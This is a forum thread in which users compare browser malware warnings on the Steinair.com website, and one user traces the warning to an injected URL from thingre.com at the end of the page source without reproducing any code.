Please drop Stein an email letting him know what error you are seeing and what product is generating the error.

It may or may not be real, but at least that will help Stein's webmaster troubleshoot the issue even if it's just a false positive.

I use ESET Nod32 and didn't see any problems.

I also got the same warning last week when I purchased some items from the site.

I fired off an email right away. I use Mac's and this is the first time in 4 years I've ever experienced that.

Maybe that is his customer screening device.

No problem for me,

but I did send them an email last week and got no response yet.

I happens on the home page, I'm having the same problem on a Mac. It may have to do with the latest Safari update as it didn't happen last month, before I update. Then again, the website could have changed during that time.

Here is the info on the malware alert:

I use Google Chrome, and when hitting Steinair.com it reports:

Here is a screen grab of Stein's website taken about 10 minutes ago in a pretty locked down Firefox 3.5.3 browser. No warning messages and I can browse the site correctly. I also have no issues with the website in IE8.



Here is a screen grab of the blocking page due to malware that Paul message identified. It identifies the problem element as being from "thingre.com"



With that in mind, opening up the page source for Steins website reveals the issue in the very last line of code...the problem URL.

My guess is that this code would be inserted from Steins web hosting service and not his homepage code per se, but someone more savvy in this kind of thing would need to say so for sure. If this is the case, then the web hosting service has malware / browser redirect issues and should be notified.

Why some are getting this warning depends on individual browsers, (Chrome and Safari are the same basic code) and browsers security settings.
